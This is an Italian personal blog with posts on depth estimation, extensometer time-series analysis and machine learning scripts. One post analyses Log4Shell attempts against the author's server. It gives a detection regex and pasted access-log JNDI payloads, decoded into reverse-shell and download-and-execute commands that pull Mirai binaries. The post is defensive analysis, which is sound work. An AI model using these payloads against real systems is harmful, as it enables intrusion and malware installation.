martedì 28 dicembre 2021

Realsense

Stavo cercando un metodo per aveere un set di training per Monocular Depth Estimation ed ho ritirato fuori la RealSense  D415 per scoprire che ad Agosto 2021 la Intel ha dichiarato la dismissione di questi sensori robotici (ad esclusione di quelli stereoscopici).... mi ricorda tanto la storia di Intel Edison ed Intel Stick...progetti interessanti morti 



Questo piccolo programmino (che modifica uno degli esempi dell'SDK di Realsense) salva la mappa di profondita' in formato NumPy ed la corrispondente immagine JPG premendo il tasto S

Per compilare in binario l'eseguibile

pyinstaller main.py --onefile


requirements.txt

altgraph==0.17.2
importlib-metadata==4.8.3
numpy==1.19.5
opencv-python==4.1.2.30
Pillow==8.4.0
pyinstaller==4.7
pyinstaller-hooks-contrib==2021.4
pyrealsense2==2.50.0.3812
typing_extensions==4.0.1
zipp==3.6.0

main.py

import sys,getopt
import pyrealsense2 as rs
import numpy as np
import cv2
from PIL import Image
import os.path

def completo(argv):
outputdir = ''
if len(sys.argv) < 2:
print('test.py -o <output_directory>')
sys.exit()
try:
opts, args = getopt.getopt(argv, "hi:o:", ["odir="])
except getopt.GetoptError:
print('test.py -o <output_directory>')
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print('test.py -o <output_directory>')
sys.exit()
elif opt in ("-o", "--odir"):
outputdir = arg
if (os.path.isdir(outputdir)) == False:
print('Errore nome directory output')
sys.exit()
print('Output file is ' + outputdir)
## License: Apache 2.0. See LICENSE file in root directory.
## Copyright(c) 2015-2017 Intel Corporation. All Rights Reserved.

###############################################
## Open CV and Numpy integration ##
###############################################



# Configure depth and color streams
pipeline = rs.pipeline()
config = rs.config()

# Get device product line for setting a supporting resolution
pipeline_wrapper = rs.pipeline_wrapper(pipeline)
pipeline_profile = config.resolve(pipeline_wrapper)
device = pipeline_profile.get_device()
device_product_line = str(device.get_info(rs.camera_info.product_line))

found_rgb = False
for s in device.sensors:
if s.get_info(rs.camera_info.name) == 'RGB Camera':
found_rgb = True
break
if not found_rgb:
print("The demo requires Depth camera with Color sensor")
exit(0)

contatore = 0

config.enable_stream(rs.stream.depth, 640, 480, rs.format.z16, 30)

if device_product_line == 'L500':
config.enable_stream(rs.stream.color, 960, 540, rs.format.bgr8, 30)
else:
config.enable_stream(rs.stream.color, 640, 480, rs.format.bgr8, 30)

# Start streaming
pipeline.start(config)

try:
while True:

# Wait for a coherent pair of frames: depth and color
frames = pipeline.wait_for_frames()
depth_frame = frames.get_depth_frame()
color_frame = frames.get_color_frame()
if not depth_frame or not color_frame:
continue

# Convert images to numpy arrays
depth_image = np.asanyarray(depth_frame.get_data())
color_image = np.asanyarray(color_frame.get_data())

# Apply colormap on depth image (image must be converted to 8-bit per pixel first)
depth_colormap = cv2.applyColorMap(cv2.convertScaleAbs(depth_image, alpha=0.03), cv2.COLORMAP_JET)

depth_colormap_dim = depth_colormap.shape
color_colormap_dim = color_image.shape


# If depth and color resolutions are different, resize color image to match depth image for display
if depth_colormap_dim != color_colormap_dim:
resized_color_image = cv2.resize(color_image, dsize=(depth_colormap_dim[1], depth_colormap_dim[0]),
interpolation=cv2.INTER_AREA)
images = np.hstack((resized_color_image, depth_colormap))
else:
images = np.hstack((color_image, depth_colormap))

# Show images
cv2.namedWindow('Immagine', cv2.WINDOW_AUTOSIZE)

cv2.imshow('Immagine' , images)
tasto = cv2.waitKey(1000)
#print(str(tasto))
if (tasto == 115): #S
#salva su file
contatore = contatore + 1
str_conta = str(contatore)
try:
np.save(str_conta.zfill(3)+'_depth.npy', depth_image)
im = Image.fromarray(color_image)
im.save(str_conta.zfill(3)+"_color.jpg")
print('Immagine ' + str(contatore) + 'acquisita')
except:
print('Errore acquisizione')
exit()
if (tasto == 113): #Q
exit()

finally:
# Stop streaming
pipeline.stop()

if __name__ == '__main__':
completo(sys.argv[1:])

giovedì 23 dicembre 2021

Correlazione tra serie tempo

 Un semplice script che calcola la correlazione tra due serie tempo (due estensimetri) facendo scorrere una finestra mobilew    


Come si vede il versante si muove con costanza in modo uniforme (i due estensimetri hanno dati correlabili)...quando c'e' una accelerazione questa e' locale e fa decorrelare i due punti di misura. In seguito si reinstaura il movimento generale

I dati meteo sono sostanzialmente inutili perche' in inverno le precipitazioni sono unicamente nevose. Nel resto dell'anno le precipitazioni non sembrano avere una particolare stagionalita'


import datetime as dt
import pandas as pd
import numpy as np
from matplotlib import pyplot as plt

from sklearn.preprocessing import PolynomialFeatures

from scipy import signal

## tutti i dati sono ricampionamti su base giornaliera
## i dati sono campionati ogni 20 oppure ogni 15 minuti
## i dati radar sono campionati ogni 70 minuti

################### METEO ################################
## dal 24/7/2019 00;00 al 1/12/2021 23:59
parser = lambda date: dt.datetime.strptime(date, '%d/%m/%Y %H:%M')
meteo = pd.read_csv('meteo/meteo.csv', sep=';', parse_dates=['Data'], index_col=['Data'], infer_datetime_format=True)

#effettua il resampling sui 180 minuti
meteo_d = meteo.resample('180T').sum()
meteo_d.to_csv("meteo_180.csv")

print(meteo_d.shape)

#################### RADAR ###############################
parser = lambda date: dt.datetime.strptime(date, '%d/%m/%Y %H:%M:%S.%f')
# legge il csv e lo mette in un dataframe
dati_s1 = pd.read_csv('disp_raw_PTS_P2.csv', sep=',', parse_dates=['Tempo'], index_col=['Tempo'], date_parser=parser)
dati_s2 = pd.read_csv('disp_raw_PTS_P30.csv', sep=',', parse_dates=['Tempo'], index_col=['Tempo'], date_parser=parser)
# ricampiona in base giornaliera
dati_s1_d = dati_s1.resample('180T').mean()
dati_s2_d = dati_s2.resample('180T').mean()
#estrae solo i dati per i quali c'e' anche il dato meteo
#dati_s1_d_f = dati_s1_d[246:1107]
#dati_s2_d_f = dati_s1_d[246:1107]

#salva su file
dati_s1_d.to_csv("s1.csv")
dati_s2_d.to_csv("s2.csv")

# finestra mobile
mw = []
x1 = np.arange(862)

for i in range(1950,8846):
set1 = dati_s1_d[i-160:i]
set2 = dati_s2_d[i-160:i]
mw_v = np.corrcoef(set1.iloc[:,0],set2.iloc[:,0])
mw.append(mw_v[0,1])

plt.figure()

plt.subplot(311)
plt.plot(meteo_d.index,dati_s1_d[1950:8846], color='green', label='P2')
plt.plot(meteo_d.index,dati_s2_d[1950:8846], color='blue', label='P30')
plt.legend()

plt.xlabel('Tempo')
plt.ylabel('Raw Radar (mm)')
plt.title('P2 P30')


plt.subplot(312)
plt.plot(meteo_d.index,mw, color='red')

plt.xlabel('Tempo')
plt.ylabel('Indice corr.')


plt.subplot(313)
plt.bar(meteo_d.index,meteo_d['Pluv.[mm]'])
plt.xlabel('Tempo')
plt.ylabel('Prec. (mm)')
plt.show()

#### ricerca del lag
print("########lag")
correlation = signal.correlate(dati_s1_d-np.mean(dati_s1_d), dati_s2_d - np.mean(dati_s2_d), mode="full")
lags = signal.correlation_lags(len(dati_s1_d), len(dati_s2_d), mode="full")
lag = lags[np.argmax(correlation)]
print(lag)


Confronto Monocular Midas vs Metashape

 Questo e' un semplice confronto da una ricostruzione 3D derivante da una singola immagine effettuata da MiDas e lo stesso oggetto ricostruito da molte immagini mediante MetaShape. Ovviamente la battaglia e'ad armi impari perche' Metashape (usando piu' punti di ripresa) ha il vantaggio della stereoscopia. Inoltre c'e' da dire che le reti sono allenate con soggetti urbani indoor ed outdoor

Affioramento roccioso

In questo caso si osserva che in MiDas i bordi dell'immagine sono in rilievo. Il blocco in aggetto viene ricostruito in modo sostanzialmente corretto

Immagine originale
Metashape

Midas

Immagine da drone
L'immagine da drone e' la piu' complicata per MiDas perche' ha una visione nadirale. Si vede che MiDas non riesce a risolvere in nessuno modo il rilievo tra i due ruscellamenti anche aumentando l'esagerazione verticale

Immagine reale 


Metashape


MiDas (20x verticale)

Midas (100x verticale)

Primo Piano
In questo caso sono risolti tre piani (primo piano, piano intermedio ovvero cartello e sfondo)




mercoledì 22 dicembre 2021

PFM2PLY

Un programmino un Python per convertire le mappe di profondita' di MiDaS dal formato PFM al formato PLY (GitHub)




import utils
import pandas as pd
import numpy as np
from PIL import Image
from plyfile import PlyData, PlyElement

immagine = 'firenze-aerea'
molt = 20

ottico = Image.open(immagine+'.jpeg')
ottico = ottico.convert('RGB')
(data,scale) = utils.read_pfm(immagine+'.pfm')
df = pd.DataFrame(data)

x = np.zeros(ottico.width*ottico.height)
y = np.zeros(ottico.width*ottico.height)
z = np.zeros(ottico.width*ottico.height)
red = np.zeros(ottico.width*ottico.height)
green = np.zeros(ottico.width*ottico.height)
blue = np.zeros(ottico.width*ottico.height)

posizione = 0

for j in range (1,ottico.width):
for k in range (1,ottico.height):
RGB = ottico.getpixel((ottico.width-j,ottico.height-k))
x[posizione] = k
y[posizione] = j
z[posizione] = df.values[k,j]*molt
red[posizione] = RGB[0]
green[posizione] = RGB[1]
blue[posizione] = RGB[2]
posizione = posizione+1

vertices = np.empty(ottico.width*ottico.height, dtype=[('x', 'f4'), ('y', 'f4'), ('z', 'f4'), ('red', 'u1'), ('green', 'u1'), ('blue', 'u1')])
vertices['x'] = x.astype('f4')
vertices['y'] = y.astype('f4')
vertices['z'] = z.astype('f4')
vertices['red'] = red.astype('u1')
vertices['green'] = green.astype('u1')
vertices['blue'] = blue.astype('u1')

ply = PlyData([PlyElement.describe(vertices, 'vertex')], text=False)
ply.write(immagine+".ply")

martedì 21 dicembre 2021

Boosting Monocular Depth test

Partendo dal post precedente ho provato questo link github 

https://github.com/compphoto/BoostingMonocularDepth

i risultati sono prossimi incredibili ma non sono riuscito al momento ad estrarre la matrice numerica

E' comodo per i test utilizzare il seguente notebook da importare su Colab























Mappa di profondita' da immagini monoculari

Fino a poco tempo fa per estrarre dati tridimensionali da una immagine fotografica era possibile utilizzare solo immagine stereoscopiche..successivamente e' stato possibile ottenere mappe di profondita' con i laser a luce strutturata ... in ogni caso era necessario utilizzare attrezzatura specifica

Leggendo gli esempi di Keras  ho trovato questo esempio Monocular Depth Estimation che permette da una normale immagine di stimare la profondita' degli oggetti ripresi utilizzando una rete neurale CNN

Immagine originale


Mappa di profondita' generata da Midas (midas_v21)


Mappa di profondita' generata da Midas (complete)


Nonostante diverse prove su Colab il notebook entrava in errore (ho avuto solo un successo) con valori di Nan in loss e val_loss e pensavo di abbandonare quando ho trovato MiDaS

Per prima cosa si deve impostare un Conda Env  (conda activate env_pytorch) con 

conda install pytorch torchvision opencv 
pip install timm

In seguito si copiano di file dei modelli Large e Hybrid nella directory weights (i modelli midas_v21 e midas_v21_small vengnono scaricati in modo automatico)

Si inseriscono poi nella dir input le immagini da processare ed i risultati si troveranno nella dir outpu

Su Apple M1 tutto ha funzionato. Su Ubuntu LTS 18.04 hanno funzionato solo i modello midas_v21

Ho provato ad usare anche il docker senza fortuna

La cosa interessante non e' il PNG che viene generato ma il file .PFM all'interno del quale si trovano in formato binario i valori di distanza in formato float32 (nel PNG ci sono solo 255 classi). Avendo un punto di verita'nell'immagine tali valori possono essere riscalati per ottenere delle distanze metriche

Per leggere il file PFM si puo' utilizzare la funzione read_pfm contenuta nel file utils.py 

======================================================

import utils
(data,scale) = utils.read_pfm('luca.pfm')
print(data)
print(scale)

Sono presenti anche le dir per mobile Android/IOS e Tensorflow ma al momento non sono riuscito a compilarle

Per alcuni test rapidi si puo' utilizzare il notebook python

venerdì 17 dicembre 2021

Estensimetro ed FFT

Una per applicare un filtro ai dati dell'estensimetro bassato su analisi FFT (vedi qui e precedenti)

Dati originali con curva di interpolazione polinomiale


 Detrend sottraendo la polinomiale

Analisi FFT
Il primo picco ha un periodo di circa 24 giorni. I successivi sono relativi al ciclo giornaliero ed armoniche di ordine superiore

applicando un filtro passa basso si ottiene il grafico filtrato invertendo la FFT



import pandas as pd
import numpy as np
from matplotlib import pyplot as plt

from sklearn.preprocessing import PolynomialFeatures


from scipy.fft import fft, ifft


# legge il csv e lo mette in un dataframe
dati = pd.read_csv('dati_small_prg.csv', sep=',', parse_dates=['Data'], index_col=['Data'])

# taglia la prima parte dei dati
dati = dati[1:8500]

# resample
#print("**********************************************")
#dati.info()
#dati.resample('60min').mean()
#dati.info()
#print("**********************************************")

####### regressione
import scipy

def f(x, a, b, c):
return a*x**2 + b*x + c
#return a*np.log(x)+b
#return a*x+b

def residual(p, x, y):
return y - f(x, *p)

p0 = [1., 1., 1.]
x = np.arange(1,8500,1)

popt, pcov = scipy.optimize.leastsq(residual, p0, args=(x,dati['Est.[mm]']))

print("Parametri della regressione ")
print(popt)
print("Errore sui parametri della regressione")
print(pcov)
yn = f(x, *popt)

plt.plot(x, yn, 'or')
plt.plot(x, dati['Est.[mm]'])
plt.show()

#Calcolo dell'errore quadratico medio
#tra i dati veri e la curva di correlazione
# come radice quadrata della somma delle differenze al quadrato
# diviso per il numero di elementi
differenza = yn-dati['Est.[mm]']
err = np.square(yn-dati['Est.[mm]'])
s_err = np.sqrt(np.sum(err, axis=0)/err.shape)
print("Errore quadratico medio (mm)")
print(s_err)
np.savetxt('correla.csv', yn, delimiter=',', fmt='%f')

# cancella le colonne che non servono
dati.drop(dati.columns[[0,1,4,5]], axis=1, inplace=True)
print(dati.info())

#salva i dati sul csv
dati.to_csv('./nuovo.csv')

#https://docs.scipy.org/doc/scipy/reference/tutorial/fft.html
#https://pythonnumericalmethods.berkeley.edu/notebooks/chapter24.04-FFT-in-Python.html



plt.plot(differenza, label='Detrend')
plt.legend(loc='best')
plt.show()


#con il passo di campionamento di 1 ora c'e' una frequenza
# di 0.0008333 Hz
# corrispondente ad una 1 misura ogni 20 minuti 1/(60x20)
dati_fft = np.fft.fft(differenza)
N = len(dati_fft)
n = np.arange(N)
# sr sampling rate
# n numero di misure
sr = 0.00083333
T = N/sr
print(T)
freq = n/T

plt.plot(freq[1:4250], np.abs(dati_fft[1:4250]))
plt.xlabel('Freq (Hz)')
plt.ylabel('FFT Amplitude |X(freq)|')

plt.show()

#filtra
sig_fft_filtered = dati_fft.copy()
cut_off = 0.00083


sig_fft_filtered[np.abs(freq) < cut_off] = 0
filtered = ifft(sig_fft_filtered)

plt.plot(filtered)
plt.xlabel('Tempo')
plt.ylabel('mm')

plt.show()

################################################
# 4.87927E-7 (23.72 giorni)
# 1.16571E-5 (23.82 ore)
# 2.32256E-5 (2 armonica del secondo dato)
# 3.48999E-5 (3 armonica del secondo dato)
# 4.6367E-5 (4 armonica del secondo dato)
# 5.8022E-5 (5 armonica del secondo dato)
# 6.9479E-5 (6 armonica del secondo dato)
# 8.1181E-5 (7 armonica del secondo dato)
# 9.2730E-5 (8 armonica del secondo dato)

domenica 12 dicembre 2021

Log4J

 rapido controllo su un server....il problema decisamente esiste




stringa di scansione dei log (ripresa da qui)

egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log

questo il risultato...la cosa interessante e' che vi sono diverse tipologie di codici di cui si tenta l'esecuzione

/var/log/apache2/access.log.1:167.71.13.196 - - [11/Dec/2021:10:04:25 +0100] "GET /$%7Bjndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b} HTTP/1.1" 404 515 "-" "${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}"

/var/log/apache2/access.log.1:167.71.13.196 - - [11/Dec/2021:18:32:33 +0100] "GET /$%7Bjndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b} HTTP/1.1" 404 515 "-" "${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}"

/var/log/apache2/access.log.1:194.163.163.20 - - [11/Dec/2021:22:13:07 +0100] "GET /?x=${jndi:ldap://${hostName}.c6qgldh5g22l07bu1lvgcg4tesaybpakh.interactsh.com/a} HTTP/1.1" 200 3343 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6qgldh5g22l07bu1lvgcg4tesaybpakh.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qgldh5g22l07bu1lvgcg4tesaybpakh.interactsh.com}"

/var/log/apache2/access.log.1:147.182.216.21 - - [12/Dec/2021:00:35:18 +0100] "GET / HTTP/1.1" 200 3324 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"

/var/log/apache2/access.log.1:45.155.205.233 - - [12/Dec/2021:06:21:38 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MCl8YmFzaA==} HTTP/1.1" 200 3343 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MCl8YmFzaA==}"

decodificando la stringa Base64 si ha il comando per accesso shell

(curl -s 45.155.205.233:5874/150.217.xxx.xxx:80||wget -q -O-45.155.205.233:5874/150.217.xxx.xxx:80)|bash

in altri casi la decodifica della stringa base64 riporta a 

wget http://xxx.xxxx.xxx.xxx/lh.sh;chmod +x lh.sh;./lh

che scarica ed esegue uno script di shlle che contiene

wget http://xxx.xxx.xxx.xxx/web/admin/x86;chmod +x x86;./x86 x86;
wget http://xxx.xxx.xxx.xxx/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;
wget http://xxx.xxx.xxx.xxx/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;

che scarica e mette in esecuzione dei file binari (Virustotal li riconosce come appartenenti a Mirai)

Aggiornamento
oggi e' stata rilevata la seguente stringa nei log

/var/log/apache2/access.log:45.56.80.11 - - [15/Dec/2021:17:27:09 +0100] "GET / HTTP/1.1" 200 10975 "-" "${jndi:ldap://162.55.90.26/2530822508/C}"
/var/log/apache2/access.log.1:13.72.102.159 - - [14/Dec/2021:15:01:45 +0100] "GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1" 404 481 "-" "curl/7.58.0"

questo codice e' relativo al ransomware Mushtik (per la spiegazione completa qui)

aggiornamento con variante

/var/log/apache2/access.log.1:45.56.80.11 - - [15/Dec/2021:17:27:09 +0100] "GET / HTTP/1.1" 200 10975 "-" "${jndi:ldap://162.55.90.26/2530822508/C}"

/var/log/apache2/access.log.1:107.189.29.181 - - [19/Dec/2021:15:19:44 +0100] "GET / HTTP/1.1" 200 3343 "-" "${jndi:ldap://179.43.175.101:1389/jedmdg}" botnet


sabato 11 dicembre 2021

Autoencoder anomaly detection con tensorlfow

 Terzo tentativo di analisi dati di estensimetro con Tensorflow (iniziato qui). Si tratta di un adattamento dell'esempio sul sito di Keras


In questo post si cerca di impostare una anomaly detection mediante autoencoder

La prima anomalia nella serie dati e' in corrispondenza del movimento indicato dalla freccia nel grafico soprastante

I dati sono stati tagliati in modo da includere solo l'inizio dell'anomalia in modo da non istruire troppo la rete 



Il modello converge rapidamente con valori di loss e validation loss similari



sovrapponendo il modello ai dati di train si nota una ottima corrispondenza




sottrando i dati reali dal modello si possono estrapolare le anomalie. Indicato dalla freccia l'anomalia derivante dal movimento



di seguito il codice


# -*- coding: utf-8 -*-
"""timeseries_anomaly_detection_detrend3

Automatically generated by Colaboratory.

Original file is located at
https://colab.research.google.com/drive/12Kkjp_xazCmO4HrK0tmzVPyHIoYxJsYo
"""

import numpy as np
import pandas as pd
from tensorflow import keras
from tensorflow.keras import layers
from matplotlib import pyplot as plt

!rm detrend.*
!wget http://c1p81.altervista.org/detrend3.zip
!rm *.csv
!unzip detrend3.zip
df_small_noise=pd.read_csv(r'detrend3.csv', sep=':', header=0, low_memory=False, infer_datetime_format=True, parse_dates={'datetime':[0]}, index_col=['datetime'],usecols=['Data','detrend'])

print(df_small_noise.head())
print(df_small_noise.shape)

#df_small_noise = df_small_noise[:9500]

plt.plot(df_small_noise['detrend'])

plt.show()

# Normalize and save the mean and std we get,
# for normalizing test data.
training_mean = df_small_noise.mean()
training_std = df_small_noise.std()
df_training_value = (df_small_noise - training_mean) / training_std
print("Number of training samples:", len(df_training_value))

TIME_STEPS = 1000

# Generated training sequences for use in the model.
def create_sequences(values, time_steps=TIME_STEPS):
output = []
for i in range(len(values) - time_steps + 1):
output.append(values[i : (i + time_steps)])
return np.stack(output)


x_train = create_sequences(df_training_value.values)
print("Training input shape: ", x_train.shape)

model = keras.Sequential(
[
layers.Input(shape=(x_train.shape[1], x_train.shape[2])),
layers.Conv1D(
filters=32, kernel_size=7, padding="same", strides=2, activation="relu"
),
layers.Dropout(rate=0.2),
layers.Conv1D(
filters=16, kernel_size=7, padding="same", strides=2, activation="relu"
),
layers.Conv1DTranspose(
filters=16, kernel_size=7, padding="same", strides=2, activation="relu"
),
layers.Dropout(rate=0.2),
layers.Conv1DTranspose(
filters=32, kernel_size=7, padding="same", strides=2, activation="relu"
),
layers.Conv1DTranspose(filters=1, kernel_size=7, padding="same"),
]
)
model.compile(optimizer=keras.optimizers.Adam(learning_rate=0.001), loss="mse")
model.summary()

history = model.fit(
x_train,
x_train,
epochs=10,
batch_size=128,
validation_split=0.1,
callbacks=[
keras.callbacks.EarlyStopping(monitor="val_loss", patience=5, mode="min")
],
)


plt.plot(history.history["loss"], label="Training Loss")
plt.plot(history.history["val_loss"], label="Validation Loss")
plt.legend()
plt.show()

# Get train MAE loss.
x_train_pred = model.predict(x_train)
train_mae_loss = np.mean(np.abs(x_train_pred - x_train), axis=1)

plt.hist(train_mae_loss, bins=50)
plt.xlabel("Train MAE loss")
plt.ylabel("No of samples")
plt.show()

# Get reconstruction loss threshold.
threshold = np.max(train_mae_loss)

print("Reconstruction error threshold: ", threshold)

print(x_train.shape)
# Checking how the first sequence is learnt
plt.plot(x_train[288],label='Dati')
plt.plot(x_train_pred[288],label='Modello')
plt.legend()
plt.show()

anomalia = x_train[288] - x_train_pred[288]
plt.plot(anomalia)
plt.show()

venerdì 10 dicembre 2021

AutoKeras LSTM per estensimetro

Questo e' un tentativo di applicazione di AutoKeras (AutoML ovvero machine learning automatizzato basato su Keras) ai dati del post precedente

La differenza sostanziale e' che la dimensione del train set deve essere un multiplo intero della batch size  (in questo caso 42 e 4200)




# -*- coding: utf-8 -*-
"""Autokeras timeseries_forecaster

Automatically generated by Colaboratory.

Original file is located at
https://colab.research.google.com/drive/1mQHWTqwyRKhShtTrwNXBvPHgOkU4ghsX
"""

!pip install autokeras

import pandas as pd
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt

import autokeras as ak

!rm detrend2.csv
!wget http://c1p81.altervista.org/detrend2.zip
!unzip detrend2.zip

dataset=pd.read_csv(r'detrend2.csv', sep=',')
# cancella la prima colonna del tempo
#dataset_c.drop('Data',axis=1,inplace=True)
dataset= dataset_c[1:6001]
dataset.head()
dataset.shape

val_split = int(len(dataset) * 0.7)
data_train = dataset[:val_split]
validation_data = dataset[val_split:]

data_x = data_train[
[
"Est.[mm]"
]
].astype("float64")

data_x_val = validation_data[
[
"Est.[mm]"
]
].astype("float64")

# Data with train data and the unseen data from subsequent time steps.
data_x_test = dataset[
[
"Est.[mm]"
]
].astype("float64")

data_y = data_train["Est.[mm]"].astype("float64")

data_y_val = validation_data["Est.[mm]"].astype("float64")

##print(data_x.shape)
#print(data_y.shape)
#print(data_y)

#la batch size deve essere un divisore
#della serie di train altrimenti genera errore

predict_from = 1
#lunghezza dei dati nel futuro
predict_until = 42
lookback = 30
clf = ak.TimeseriesForecaster(
lookback=lookback,
predict_from=predict_from,
predict_until=predict_until,
max_trials=4,
objective="val_loss",
)
clf.fit(
x=data_x,
y=data_y,
validation_data=(data_x_val, data_y_val),
batch_size=42,
epochs=20
)

# Predizione
predictions = clf.predict(data_x_test)
print(predictions.shape)
print(data_x_val.shape)
print(data_y_val.shape)

loss,acc = clf.evaluate(data_x_val, data_y_val, batch_size=42, verbose=1)
print('Accuracy: %.3f' % acc)

plt.plot(predictions)

plt.title("Estensimetro")
plt.xlabel('')
plt.ylabel('')
plt.show()

model = clf.export_model()
# summarize the loaded model
model.summary()
# save the best performing model to file
model.save('model_sonar.h5')

Debugger integrato ESP32S3

Aggiornamento In realta' il Jtag USB funziona anche sui moduli cinesi Il problema risiede  nell'ID USB della porta Jtag. Nel modulo...